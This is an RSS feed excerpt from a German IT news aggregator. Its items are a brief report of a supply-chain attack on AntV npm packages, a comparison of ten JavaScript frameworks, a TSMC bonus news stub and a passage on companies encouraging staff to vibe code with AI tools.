<link>https://tsecurity.de/de/3549840/it-security-nachrichten/schadcode-stiehlt-cicd-secrets-aus-github-und-npm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549840/it-security-nachrichten/schadcode-stiehlt-cicd-secrets-aus-github-und-npm/</guid>
<pubDate>Wed, 27 May 2026 07:22:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Über ein gekapertes Maintainer-Konto schleust die Hackergruppe TeamPCP manipulierte AntV-npm-Pakete in den öffentlichen Index. Der Schadcode liest CI/CD-Secrets, GitHub-Token und Cloud-Anmeldedaten aus Build-Umgebungen aus und breitet sich wurmartig auf weitere Repositories aus. Betroffen sind unter anderem echarts-for-react mit über einer Million wöchentlicher Downloads.]]></content:encoded>
</item>
<item>
<title><![CDATA[Die besten JavaScript-Frameworks im Vergleich]]></title>
<description><![CDATA[Ein (passendes) JavaScript-Framework auszuwählen, ist ein bisschen wie Schuhe kaufen: Mit Blick auf das Gesamtangebot gibt es alles, was sich Softwareentwickler wünschen – nur nicht kombiniert in einem Modell.
					Foto: RossHelen | shutterstock.com




Den (richtigen) Technologie-Stack auszuwähl...]]></description>
<link>https://tsecurity.de/de/3549678/it-security-nachrichten/die-besten-javascript-frameworks-im-vergleich/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549678/it-security-nachrichten/die-besten-javascript-frameworks-im-vergleich/</guid>
<pubDate>Wed, 27 May 2026 05:36:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Ein (passendes) JavaScript-Framework auszuwählen, ist ein bisschen wie Schuhe kaufen: Mit Blick auf das Gesamtangebot gibt es alles, was sich Softwareentwickler wünschen - nur nicht kombiniert in einem Modell." title="Ein (passendes) JavaScript-Framework auszuwählen, ist ein bisschen wie Schuhe kaufen: Mit Blick auf das Gesamtangebot gibt es alles, was sich Softwareentwickler wünschen - nur nicht kombiniert in einem Modell." src="https://images.computerwoche.de/bdb/3392180/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Ein (passendes) JavaScript-Framework auszuwählen, ist ein bisschen wie Schuhe kaufen: Mit Blick auf das Gesamtangebot gibt es alles, was sich Softwareentwickler wünschen – nur nicht kombiniert in einem Modell.</p></figcaption></figure><p class="imageCredit">
					Foto: RossHelen | shutterstock.com</p></div>




<p>Den (richtigen) Technologie-Stack auszuwählen, ist eine der diffizilsten Herausforderungen in Sachen <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" title="Softwareentwicklung" target="_blank">Softwareentwicklung</a>: Ohne Framework kein Development – allerdings zeigen sich die wahren Stärken und Schwächen eines Rahmenwerks erst in der Praxis. Für Developer eine Zwickmühle, aus der auch <a href="https://www.computerwoche.de/article/2785190/prototyping-hilft-bei-der-softwareentwicklung.html" title="Prototyping" target="_blank">Prototyping</a> nur bedingt befreien kann. Schließlich besteht die allgemeine Tendenz dazu, Technologien zu vertrauen, die sich in der Vergangenheit bewährt haben. So können allerdings auch innovative Entwicklungen durch die Lappen gehen. Das ist speziell mit Blick auf den Bereich der <a href="https://www.computerwoche.de/article/2821289/7-javascript-projekte-die-sie-kennen-sollten.html" title="JavaScript-Frameworks" target="_blank">JavaScript-Frameworks</a> wahrscheinlich, da deren Entwicklung besonders rasant voranschreitet. Dass qualitativ hochwertige Rahmenwerke im Überfluß zur Verfügung stehen, macht die Sache nicht besser.</p>



<p>In diesem Artikel werfen wir einen Blick auf die führenden JavaScript-(Frontend-)Frameworks und vergleichen diese auf Feature-Ebene miteinander. Folgende Frameworks werden dabei behandelt:</p>



<ul class="wp-block-list">
<li><p>React</p></li>



<li><p>Vue</p></li>



<li><p>Angular</p></li>



<li><p>Preact</p></li>



<li><p>Lit</p></li>



<li><p>Svelte</p></li>



<li><p>AlpineJS</p></li>



<li><p>SolidJS</p></li>



<li><p>HTMX</p></li>



<li><p>Qwik</p></li>
</ul>



<p>Es gibt diverse Möglichkeiten, sich der Entscheidung über ein JavaScript-<a href="https://www.computerwoche.de/article/2824968/3-wege-zum-vorzeige-frontend.html" title="Frontend-Framework" target="_blank">Frontend-Framework</a> anzunähern. Ein Faktor, den Sie dabei fokussieren sollten, ist Vertrautheit: Wenn Sie und Ihr Team mit einer bestimmten Technologie wirklich vertraut sind, sollten gute Gründe vorliegen, um davon abzuweichen. Diesbezüglich könnten folgende Fragen relevant sein:</p>



<ul class="wp-block-list">
<li><p>Entspricht die Technologie nicht mehr den Anforderungen des Projekts?</p></li>



<li><p>Besteht die Gefahr, dass das von Ihnen verwendete Framework eingestellt wird?</p></li>



<li><p>Sind interessante Funktionalitäten nicht existent?</p></li>
</ul>



<p>Wenn Sie alle Fragen mit ‘nein’ beantworten können, sollten Sie sich lieber zweimal überlegen, auf ein neues Framework umzusteigen. Dennoch ist es allgemein von Vorteil, neuen Frameworks offen gegenüberzustehen, die projektspezifische Benefits in den Bereichen <a href="https://www.computerwoche.de/article/2821891/8-wege-um-top-entwickler-zu-halten.html" title="Developer Experience" target="_blank">Developer Experience</a>, <a href="https://www.computerwoche.de/article/2814007/wie-devops-die-app-performance-treibt.html" title="Performance" target="_blank">Performance</a> oder Community Support realisieren können. Dazu kommt, dass <a href="https://www.computerwoche.de/article/2794625/was-javascript-von-typescript-unterscheidet.html" title="JavaScript" target="_blank">JavaScript</a> und speziell Frontend-Frameworks miteinander interagieren und sich gegenseitig stark beeinflussen. Sich mit einem Rahmenwerk zu befassen, kann deswegen oft zu synergetischen Insights führen. Anders ausgedrückt: Ein Frontend-Framework-Deepdive kann niemals schaden.</p>



<h2 class="wp-block-heading">Die 10 wichtigsten JavaScript-Frameworks</h2>



<p>Um einen Überblick über die führenden reaktiven Frameworks zu bekommen, werfen wir einen Blick auf die populärsten Abkömmlinge. Diese haben wir auf Grundlage ihrer jeweiligen Download-Zahlen auf dem <a href="https://www.npmjs.com/" title="Open Source Repository NPM" target="_blank" rel="noopener">Open Source Repository NPM</a> ermittelt. Ein Klick auf den Link führt Sie zur jeweiligen NPM-Download-Seite inklusive der aktuellen Statistiken.</p>



<ol class="wp-block-list">
<li><p><a title="React" href="https://www.npmjs.com/package/react" target="_blank" rel="noopener">React</a></p></li>



<li><p><a title="Vue / Vue 3" href="https://www.npmjs.com/package/vue" target="_blank" rel="noopener">Vue / Vue 3</a></p></li>



<li><p><a title="Angular (CLI)" href="https://www.npmjs.com/package/@angular/cli" target="_blank" rel="noopener">Angular (CLI)</a></p></li>



<li><p><a title="Preact" href="https://www.npmjs.com/package/preact" target="_blank" rel="noopener">Preact</a></p></li>



<li><p><a title="Lit" href="https://www.npmjs.com/package/lit" target="_blank" rel="noopener">Lit</a></p></li>



<li><p><a title="Svelte" href="https://www.npmjs.com/package/svelte" target="_blank" rel="noopener">Svelte</a></p></li>



<li><p><a title="AlpineJS" href="https://www.npmjs.com/package/alpinejs" target="_blank" rel="noopener">AlpineJS</a></p></li>



<li><p><a title="SolidJS" href="https://www.npmjs.com/package/solid-js" target="_blank" rel="noopener">SolidJS</a></p></li>



<li><p><a title="HTMX" href="https://www.npmjs.com/package/htmx.org" target="_blank" rel="noopener">HTMX</a></p></li>



<li><p><a title="Qwik" href="https://www.npmjs.com/package/@builder.io/qwik" target="_blank" rel="noopener">Qwik</a></p></li>
</ol>



<p>Obwohl Popularität kein besonders guter Indikator für Qualität ist, sagt sie doch viel darüber aus, wie es um die Verfügbarkeit von Developern steht, die mit dem Framework arbeiten können. Das könnte speziell für größere Teams und Projekte einen entscheidenden Faktor darstellen.</p>



<p>Zu beachten ist mit Blick auf die Top Ten, dass es sich bei allen “Kandidaten” um reine Frontend-Frameworks handelt. Einige dieser Projekte beinhalten auch ein <a href="https://www.computerwoche.de/article/2819343/darum-ist-full-stack-engineering-schaedlich.html" title="Fullstack" target="_blank">Fullstack</a>-Framework – etwa Next oder SvelteKit, was Backend-Funktionalitäten wie Server-seitiges Rendering ermöglicht. Das ist für einige Teams und Projekte unter Umständen ein weiterer bedeutender Auswahlfaktor in Sachen JavaScript-Framework. Im Folgenden ein detaillierter Blick auf die führenden reaktiven Frameworks. Ein Klick auf die Verlinkung im Titel führt Sie direkt zum jeweiligen GitHub Repository beziehungsweise der Projekt-Webseite.</p>



<p><strong><a href="https://github.com/facebook/react" title="React" target="_blank" rel="noopener">React</a></strong></p>



<p>Das Flaggschiff der reaktiven Frameworks ist im Jahr 2013 bei Facebook respektive Meta entstanden und wird bis heute vom Social-Media-Konzern verwaltet. Wie auch die Download-Zahlen von React zeigen, ist das Framework mit großem Abstand das populärste der hier vorgestellten – und quasi die Standardwahl unter den Frontend-Rahmenwerken. Trotz seines Alters wurde React kontinuierlich von Meta <a href="https://react.dev/blog/2024/02/15/react-labs-what-we-have-been-working-on-february-2024" title="auf dem aktuellen Stand gehalten" target="_blank" rel="noopener">auf dem aktuellen Stand gehalten</a>. Dabei könnte auch eine Rolle spielen, dass Facebook immer noch auf dem Framework aufbaut.</p>



<p>Das größte Argument gegen React: sein gewaltiger Umfang. Das kann den Einsatz beschwerlich gestalten, insbesondere wenn Sie an einem Projekt arbeiten, für das die meisten React-Features erst gar nicht nötig sind. Einige der nachfolgenden JavaScript-Frameworks sind nicht nur leichtgewichtiger, sondern bieten auch andere Ansätze.</p>



<p><strong><a href="https://github.com/vuejs/vue" title="Vue" target="_blank" rel="noopener">Vue</a></strong></p>



<p>Auch bei Vue handelt es sich um ein ausgereiftes Framework, das in Sachen Support gut aufgestellt ist. Im Vergleich zu React ist Vue deutlich leichtgewichtiger und schneidet auch bei Performance-Tests besser ab.</p>



<p>Vue steht in erster Linie im Ruf, eine moderate Lernkurve aufzuwerfen. Darüber hinaus kann das Framework mit einer ausgezeichneten Dokumentation und einer offenherzigen Community punkten. <a href="https://medium.com/@serpentarium13/why-i-chose-vue-over-react-b082d81315ab" title="Einige Entwickler" target="_blank" rel="noopener">Einige Entwickler</a> bevorzugen Vue auch wegen seines ausgeprägten Fokus auf die Developer Experience. Wenn Sie und Ihr Team gerne mit Vue arbeiten, kann das Framework langfristig dazu beitragen, die Benutzerfreundlichkeit und Mitarbeiterzufriedenheit zu erhöhen.</p>



<p>Von den “Big Three” unter den JavaScript-Frontend-Frameworks (React, Angular und Vue) ist Vue das basisorientierteste, was seinen Reiz haben kann.</p>



<p><strong><a href="https://github.com/angular/angular" title="Angular" target="_blank" rel="noopener">Angular</a></strong></p>



<p>Von allen hier gelisteten Frameworks bietet Angular die wohl ausgeprägteste All-in-One-Entwicklungserfahrung. Das Framework ist als durchgängige Lösung konzipiert, die verspricht, alles nötige in einem konsistenten Paket zu liefern. In der Vergangenheit galt Angular vor allem als komplex – sowohl in der Theorie als auch in der Praxis. Zudem war ein Hauch von Overengineering bei Angular zu verspüren – eine Entwicklung die in erster Linie dem Design geschuldet war.</p>



<p>Das hat sich inzwischen allerdings grundlegend geändert: Die Entwickler hinter dem Projekt haben das Framework (<a href="https://www.infoworld.com/article/2335505/the-best-new-features-in-angular-17-a-kinder-faster-angular.html" title="mit Version 17" target="_blank">mit Version 17</a>) in diversen Aspekten simplifiziert und die Entwicklererfahrung optimiert – zudem steht nun auch eine effektive Rendering-Engine für Server-seitige Tasks zur Verfügung. Darüber hinaus wurden auch die <a href="https://angular.io/docs" title="Dokumentation" target="_blank" rel="noopener">Dokumentation</a> und die <a href="https://angular.io/" title="offizielle Webseite" target="_blank" rel="noopener">offizielle Webseite</a> modernisiert.</p>



<p>Ein wesentlicher Unterschied zu React und Vue: Angular ist eher “rechthaberisch” – für die meisten Dinge gibt es klar definierte Vorgaben. Das kann es erschweren, mit Angular Applikationen anzupassen oder unkonventionelle Wege zu gehen. Ob das von Vor- oder von Nachteil ist, hängt im Wesentlichen von Ihrem persönlichen Programmierstil ab.</p>



<p><strong><a href="https://github.com/preactjs" title="Preact" target="_blank" rel="noopener">Preact</a></strong></p>



<p>Die Nomenklatur deutet es bereits an: Bei Preact handelt es sich um ein von React inspiriertes Framework – quasi eine abgespeckte Version desselbigen mit ähnlichen aber kleineren <a href="https://www.computerwoche.de/article/2790525/was-sie-ueber-application-programming-interfaces-wissen-muessen.html" title="APIs" target="_blank">APIs</a>. Einer <a href="https://preactjs.com/guide/v10/differences-to-react/#main-differences" title="der wesentlichen Unterschiede" target="_blank" rel="noopener">der wesentlichen Unterschiede</a> besteht dabei darin, dass Preact kein eigenes Eventing-System implementiert. Stattdessen nutzt es die in den Browser integrierten Event Listener. </p>



<p>Im Vergleich mit React entwickeln Sie mit Preact schneller und schlanker – dafür müssen Sie auf einige Funktionalitäten des “Originals” verzichten. Sie können Preact allerdings mit einem <a href="https://preactjs.com/guide/v10/switching-to-preact/" title="zusätzlichen Layer ausstatten" target="_blank" rel="noopener">zusätzlichen Layer ausstatten</a> und so nahezu vollständige React-Kompatibilität erreichen. Diverse Komponenten aus dem React-Ökosystem funktionieren dann auch mit Preact.</p>



<p>Wenn Sie auf kleinere APIs Wert legen, sich dabei aber weitgehend im React-Ökosystem bewegen möchten, ist dieses reaktive Framework möglicherweise eine gute Wahl.</p>



<p><strong><a href="https://github.com/lit/lit" title="Lit" target="_blank" rel="noopener">Lit</a></strong></p>



<p>Das Alleinstellungsmerkmal von Lit: Es nutzt den <a href="https://www.webcomponents.org/introduction" title="Web-Components-Standard" target="_blank" rel="noopener">Web-Components-Standard</a> als Grundlage. Das hat zur Folge, dass die API und das Bundle selbst sehr klein sind. Der Fokus liegt darauf, die integrierten Web Components zu unterstützen. Darüber hinaus fußt Lit auf einer minimalistischen Entwicklungsphilosophie, die Ihnen maximale Flexibilität ermöglicht: Es gibt nur wenige festgeschriebene Wege, um Dinge mit Lit zu erledigen.</p>



<p>Das Framework weist – gemessen an seiner Größe und Popularität – ein sehr umfangreiches Ökosystem auf.</p>



<p><strong><a href="https://github.com/sveltejs/svelte" title="Svelte" target="_blank" rel="noopener">Svelte</a></strong></p>



<p>Dieses reaktive Framework zeichnet sich in erster Linie dadurch aus, dass es einen Compiler zum Einsatz bringt. Der transformiert die Svelte-Syntax in ein kleines und performantes JavaScript-Bundle. Das ermöglicht dem Framework, einige Optimierungen bereits im Vorfeld vorzunehmen – und mit interessanten Syntax-Elementen <a href="https://www.infoworld.com/article/2336000/reactive-magic-in-svelte-5-understanding-runes.html" title="zu experimentieren" target="_blank">zu experimentieren</a>.</p>



<p>Mit Blick auf die “Big Three” ist Svelte am ehesten mit Vue vergleichbar, weil es sich gut für unabhängige Experimente eignet. Die Dokumentation von Vue ist gut ausgestaltet und das Framework erfreut sich in der <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Community wachsender Beliebtheit.</p>



<p><strong><a href="https://alpinejs.dev/" title="AlpineJS" target="_blank" rel="noopener">AlpineJS</a></strong></p>



<p>Von allen hier vorgestellten Frameworks ist AlpineJS das <a href="https://alpinejs.dev/" title="utilitaristischste" target="_blank" rel="noopener">utilitaristischste</a>. Es bietet eine kompakte Reactive-Bibliothek – das war’s. Trotz seines überschaubaren Footprints steckt in diesem reaktiven Framework jedoch eine ganze Menge Power. </p>



<p>Wie HTMX (dazu später) will auch AlpineJS Komplexität beseitigen, dabei jedoch die Grundlagen moderner Frontend-Funktionalität gewährleisten. Um diese Funktionalität “auf die Straße zu bringen”, nutzt das JavaScript-Framework spezielle HTML-Eigenschaften.</p>



<p><strong><a href="https://github.com/solidjs" title="SolidJS" target="_blank" rel="noopener">SolidJS</a></strong></p>



<p>Im Vergleich zu den anderen hier gelisteten JavaScript-Frontend-Frameworks ist Solid ein Vertreter der jüngeren Generation. Nichtsdestotrotz konnte SolidJS bereits (im positiven Sinn) für Furore sorgen und erfreut sich einer wachsenden Nutzerbasis.</p>



<p>Das Framework fußt auf Signals (Reactive Primitives), die ihm <a href="https://www.solidjs.com/docs/latest" title="eine flexible Grundlage verschaffen" target="_blank" rel="noopener">eine flexible Grundlage verschaffen</a>. Um die Funktionalität zu erweitern, können sowohl das Framework selbst als auch der Anwender-Code auf dieselben Features zugreifen. In Sachen Performance-Tests schneidet SolidJS gut ab.</p>



<p><strong><a href="https://github.com/bigskysoftware/htmx" title="HTMX" target="_blank" rel="noopener">HTMX</a></strong></p>



<p>Einen völlig anderen Ansatz, um Web-Frontends zu entwickeln, wirft <a href="https://www.computerwoche.de/article/2833138/dynamisches-html-ohne-javascript.html" title="HTMX" target="_blank">HTMX</a> auf: Es versucht, so viel Komplexität wie möglich zu eliminieren, REST wie beabsichtigt einzusetzen und “reines” HTML (mit einigen grundlegenden Verbesserungen) zu nutzen, um modernen Anforderungen wie AJAX- und DOM-Interaktionen <a href="https://www.computerwoche.de/article/2833120/software-ist-eine-brutale-branche.html" title="gerecht zu werden" target="_blank">gerecht zu werden</a>.</p>



<p>HTMX kann eine lohnende Option sein, wenn Sie auf Dinge wie Server-seitiges Rendering verzichten können. Einer der größten Pluspunkte des Frameworks: Es ist relativ einfach zu erlernen. Wir können nur empfehlen, sich zumindest mit diesem Projekt zu beschäftigen – und sei es nur wegen der zugrundeliegenden Idee.</p>



<p><strong><a href="https://github.com/BuilderIO/qwik" title="Qwik" target="_blank" rel="noopener">Qwik</a></strong></p>



<p>Unter der Haube ist Qwik eine exotische Implementierung, die die Performance in den Mittelpunkt rückt. Das Framework zerlegt Applikationen in unterscheidbare Elemente und orientiert sich dabei an “Grenzen” wie Eventing oder Komponenten – entlang derer aggressives <a href="https://www.computerwoche.de/article/2804239/darauf-kommt-es-an.html" title="Lazy Loading" target="_blank">Lazy Loading</a> zum Einsatz kommt. Das Ergebnis: schnelleres Rendering.</p>



<h2 class="wp-block-heading">Reactive Frameworks im (Feature-)Vergleich</h2>



<p>Nachdem Sie die zehn wichtigsten Reactive-Framework-Optionen kennengelernt haben, geht es nun darum, die wichtigsten Funktionen und Merkmale miteinander zu vergleichen. Zunächst haben wir die reaktiven Rahmenwerke noch einmal in einer Übersicht zusammengetragen, die auf einen Blick Auskunft über die jeweiligen Lernkurven und Funktions-Highlights gibt.</p>



<figure class="wp-block-table stats legacyTable"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><p><strong>Framework</strong></p></td><td><p><strong>Lernkurve</strong></p></td><td><p><strong>Highlights</strong></p></td></tr><tr><td><p><strong>React</strong></p></td><td><p>moderat bis steil</p></td><td><p>konservativste Option; riesiges Ökosystem und Community; Balance zwischen Innovation und Stabilität;</p></td></tr><tr><td><p><strong>Vue</strong></p></td><td><p>moderat</p></td><td><p>leicht zu erlernen und einzusetzen; ein etabliertes Framework das weniger “corporate” ist;</p></td></tr><tr><td><p><strong>Angular</strong></p></td><td><p>steil</p></td><td><p>ein robustes Framework für große Projekte; Enterprise-orientiert; integrierter All-in-One-Ansatz;</p></td></tr><tr><td><p><strong>Preact</strong></p></td><td><p>moderat</p></td><td><p>React-ähnlich mit schnelleren Ladezeiten; insbesondere für Mobile Development empfehlenswert;</p></td></tr><tr><td><p><strong>Lit</strong></p></td><td><p>moderat</p></td><td><p>leichtgewichtig und performant mit Fokus auf Standards; leichter mit beispielsweise HTML kombinierbar; </p></td></tr><tr><td><p><strong>Svelte</strong></p></td><td><p>moderat</p></td><td><p>kleinerer Memory-Footprint; fokussiert die Entwicklererfahrung und Innovationen;</p></td></tr><tr><td><p><strong>Alpine</strong></p></td><td><p>flach</p></td><td><p>leichtgewichtiges Toolset; einfach zu erlernen und beherrschen; gut geeignet für kleinere bis mittelgroße Projekte;</p></td></tr><tr><td><p><strong>SolidJS</strong></p></td><td><p>moderat bis steil</p></td><td><p>reaktiver Kern auf Signals-Basis; Performance-orientiert;</p></td></tr><tr><td><p><strong>HTMX</strong></p></td><td><p>flach</p></td><td><p>einfach zu erlernen und zu integrieren; einzigartige, vereinfachte REST-Architektur;</p></td></tr><tr><td><p><strong>Qwik</strong></p></td><td><p>steil</p></td><td><p>innovativ und Performance-orientiert; integriert mit builder.io;</p></td></tr></tbody></table> </div></figure>



<p>Wenn Sie nun Wert auf ganz spezielle Funktionen legen, bringt Ihnen diese Tabelle natürlich wenig. Deswegen haben wir auch noch einen umfangreichen Feature-Vergleich der gelisteten JavaScript-Frontend-Frameworks für Sie erstellt. Diesen können Sie auch <a href="https://github.com/MTyson/iw-front-end-table/blob/main/JS%20Frameworks%20Feature%20Table.pdf" title="direkt über GitHub" target="_blank" rel="noopener">direkt über GitHub</a> als PDF-Datei herunterladen (inklusive klickbarer Links). </p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Die zehn wichtigsten JavaScript-Frameworks im Feature-Vergleich." title="Die zehn wichtigsten JavaScript-Frameworks im Feature-Vergleich." src="https://images.computerwoche.de/bdb/3392181/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Die zehn wichtigsten JavaScript-Frameworks im Feature-Vergleich.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<h4 class="wp-block-heading"><strong>Playgrounds</strong></h4>



<p>Um sich einen schnellen ersten Eindruck von einem Framework zu verschaffen, empfiehlt sich, es in einem Online-REPL respektive Playground zu testen. Dazu ist kein Tooling-Setup erforderlich – ein Webbrowser reicht, um mit der Syntax experimentieren zu können. Sämtliche hier vorgestellten Frameworks können das bieten. React hostet zwar keine eigenen REPLs, diese Lücke wird jedoch von Drittanbietern geschlossen.</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2336227/whats-the-best-javascript-framework.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[TSMC Says Bonuses Are Safe After Workers React to CEO’s Pay Cut Remarks]]></title>
<description><![CDATA[TSMC has moved quickly to calm growing frustration among employees after rumors about possible bonus cuts triggered strong backlash across social media groups connected to…
The post TSMC Says Bonuses Are Safe After Workers React to CEO’s Pay Cut Remarks appeared first on OnMSFT.]]></description>
<link>https://tsecurity.de/de/3548664/windows-tipps/tsmc-says-bonuses-are-safe-after-workers-react-to-ceos-pay-cut-remarks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3548664/windows-tipps/tsmc-says-bonuses-are-safe-after-workers-react-to-ceos-pay-cut-remarks/</guid>
<pubDate>Tue, 26 May 2026 18:14:23 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>TSMC has moved quickly to calm growing frustration among employees after rumors about possible bonus cuts triggered strong backlash across social media groups connected to…</p>
<p>The post <a href="https://onmsft.com/news/tsmc-says-bonuses-are-safe-after-workers-react-to-ceos-pay-cut-remarks/">TSMC Says Bonuses Are Safe After Workers React to CEO’s Pay Cut Remarks</a> appeared first on <a href="https://onmsft.com/">OnMSFT</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs are enlisting business users to vibe code their own apps]]></title>
<description><![CDATA[Vibe coding is expanding beyond the realm of software development teams into a variety of business units at a range of enterprises, and technology leaders are not only supporting these efforts but in some cases leading the charge.



This democratization of software development, buoyed by vibe co...]]></description>
<link>https://tsecurity.de/de/3547568/it-nachrichten/cios-are-enlisting-business-users-to-vibe-code-their-own-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3547568/it-nachrichten/cios-are-enlisting-business-users-to-vibe-code-their-own-apps/</guid>
<pubDate>Tue, 26 May 2026 12:17:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Vibe coding is expanding beyond the realm of software development teams into a variety of business units at a range of enterprises, and technology leaders are not only supporting these efforts but in some cases leading the charge.</p>



<p>This democratization of software development, buoyed by <a href="https://www.cio.com/article/4165921/19-vibe-coding-tools-for-democratizing-app-development.html">vibe coding tools</a>, including chatbots and agents that generate code via prompts, has made vibe coding a thing in departments such as human resources and marketing.</p>



<p>With guidance from IT, such efforts can cut down development backlogs, move solution-building closer to business problems, and open opportunities not previously pursued. But <a href="https://www.cio.com/article/4148288/vibe-coding-your-own-enterprise-apps-is-edgy-business.html">vibe coding can be edgy business</a>. IT leaders interested in unleashing the power of vibe coding in the hands of business users must establish the governance and guardrails necessary to ensure secure results.</p>



<p>Here is a look at how several IT leaders are deploying vibe coding beyond IT and the challenges they’ve faced.</p>



<h2 class="wp-block-heading">Feeling the vibe</h2>



<p>At financial services technology provider EnFi, everyone in the organization, including the C-suite, is actively encouraged to use Claude Code to build their own sub-agents and then get the rest of their teams to use their creations.</p>



<p>“The results have surprised us,” says <a href="https://www.linkedin.com/in/sweller/" rel="nofollow">Scott Weller</a>, CTO. “What started as an engineering productivity initiative has become a company-wide capability, where anyone from the CEO to a customer success manager can turn an idea into a working prototype in hours, not weeks.”</p>



<p>Vibe coding using the tool quickly expanded when non-engineering employees realized they could participate directly in building applications, Weller says. “Product leadership, customer success, and executive stakeholders now routinely initiate development work through the same system,” he says. “Every branch, regardless of who initiates [coding projects], passes through the same automated quality gates, architectural checks, and human code review before anything reaches production.”</p>



<p>When an AI agent writes code, “it follows the same rules as a senior engineer,” Weller says. “AI-powered code review catches architectural violations, security issues, and pattern inconsistencies before a human reviewer sees it. This means the output from a product manager’s Slack request meets the same quality bar as an engineer’s pull request.”</p>



<p>Enabling everyone in the company to come up with an idea and see it running by simply asking a bot to build it “has fundamentally changed who participates in building the product,” Weller says.</p>



<p>Making AI-assisted coding broadly available has shortened the time to completing some projects from weeks to hours, Weller notes. “It has dramatically increased the number of experiments we can run, on [user experience] improvements, feature explorations, and workflow alternatives,” he says.</p>



<p>The most significant benefit is that new development ideas are no longer bottlenecked by lack of engineering capacity. “When anyone in the company can describe what they want and see it built, the rate of experimentation goes up dramatically,” Weller says.</p>



<h2 class="wp-block-heading">The momentum of building solutions to business problems</h2>



<p>Skillsoft, a provider of technology training services and products, is also pushing vibe coding outside its software development teams.</p>



<p>“While it initially emerged within IT teams, we’ve been intentional about encouraging this mindset beyond traditional software development,” says <a href="https://www.linkedin.com/in/orla-daly-ma/" rel="nofollow">Orla Daly</a>, CIO. “We see real value in enabling teams across the organization to explore, experiment, and problem‑solve using AI in ways that are directly connected to their day‑to‑day work.”</p>



<p>Within Skillsoft’s infrastructure and operations organization non-development individuals are building new products and capabilities or leveraging the principles of vibe coding to troubleshoot production issues, Daly says.</p>



<p>“We’ve seen this show up through cross‑functional experimentation such as prototyping customer intelligence solutions for our go-to-market teams and rapid development of a customer portal,” Daly says. “When people are learning and applying AI to solve a real business problem, it creates purpose and momentum.”</p>



<p>With vibe coding, teams are not just learning new concepts, “they’re developing judgment, curiosity, and a better understanding of how AI can elevate their role and the business more broadly,” Daly says. “The benefits show up in very tangible ways. Teams learn faster because they’re applying AI directly to their work. Engagement increases when people feel trusted to explore and contribute ideas. And as an organization, we gain better visibility into where skills already exist and how they’re evolving.”</p>



<p>More broadly, vibe coding supports adaptability, Daly says. “It helps people move from seeing AI as something abstract or intimidating to something they can work with thoughtfully, using judgment and collaboration rather than relying on rigid processes,” she says. “The solutions created as a result of vibe coding have filled capability gaps and delivered solutions to production in shorter timeframes, producing real value.”</p>



<h2 class="wp-block-heading">Emphasizing experimentation</h2>



<p>At Corevist, an ecommerce platform provider, broad use of vibe coding didn’t start as a formal initiative. “It showed up in different parts of the business, mostly in sales and customer-facing teams, because people were trying to move faster and make ideas easier to communicate,” says <a href="https://www.linkedin.com/in/terrystahler/">Terry Stahler</a>, CIO and chief customer officer.</p>



<p>It also didn’t spread purely on its own. “Without leadership pushing for experimentation, it likely would have moved at a much slower, consensus-driven pace,” Stahler says. “Instead, there was clear encouragement to try things, along with budget behind it.”</p>



<p>Today, Corevist uses vibe coding mainly as a prototyping tool. “It helps people get to something concrete faster, which makes conversations a lot clearer,” Stahler says. “That has been the biggest benefit. We are not using it as a shortcut to production software. Anything that is going to live beyond a prototype goes through our normal engineering and security process.”</p>



<p>Sales was the first place where Stahler saw use cases emerge. One was live prototyping during the sales process. “In a normal B2B conversation, a prospect explains what they need, the account team takes notes, and then everyone goes back and tries to interpret it later,” he says. “What changed here was the ability to turn an idea into something visible much faster, sometimes even while the conversation was still happening.”</p>



<p>That gave the prospect something concrete to react to and made it easier to tell whether a sales rep was actually understanding the request correctly. “It cut down on ambiguity early, which is valuable in any complex sales cycle,” Stahler says.</p>



<p>Marketing has also used vibe coding, for an update of its website. “The value there has been speed in the early creative and planning stages,” Stahler says. “They can generate rough versions of pages and flows much faster than they could through written direction or static mockups alone. That has made it easier to align on direction and has reduced some of the usual back-and-forth that comes with a website rebuild.”</p>



<h1 class="wp-block-heading">Supplementing the engineering queue</h1>



<p>Business growth platform provider ZenBusiness encourages vibe coding “across the board,” says <a href="https://www.zenbusiness.com/alex-victoria/">Alex Victoria</a>, CTO. “The way we think about it is pretty simple: If AI tools can help you go from idea to something working without waiting in an engineering queue, we want you to do that,” he says.</p>



<p>Vibe coding began within the product and engineering teams but has spread to other departments.</p>



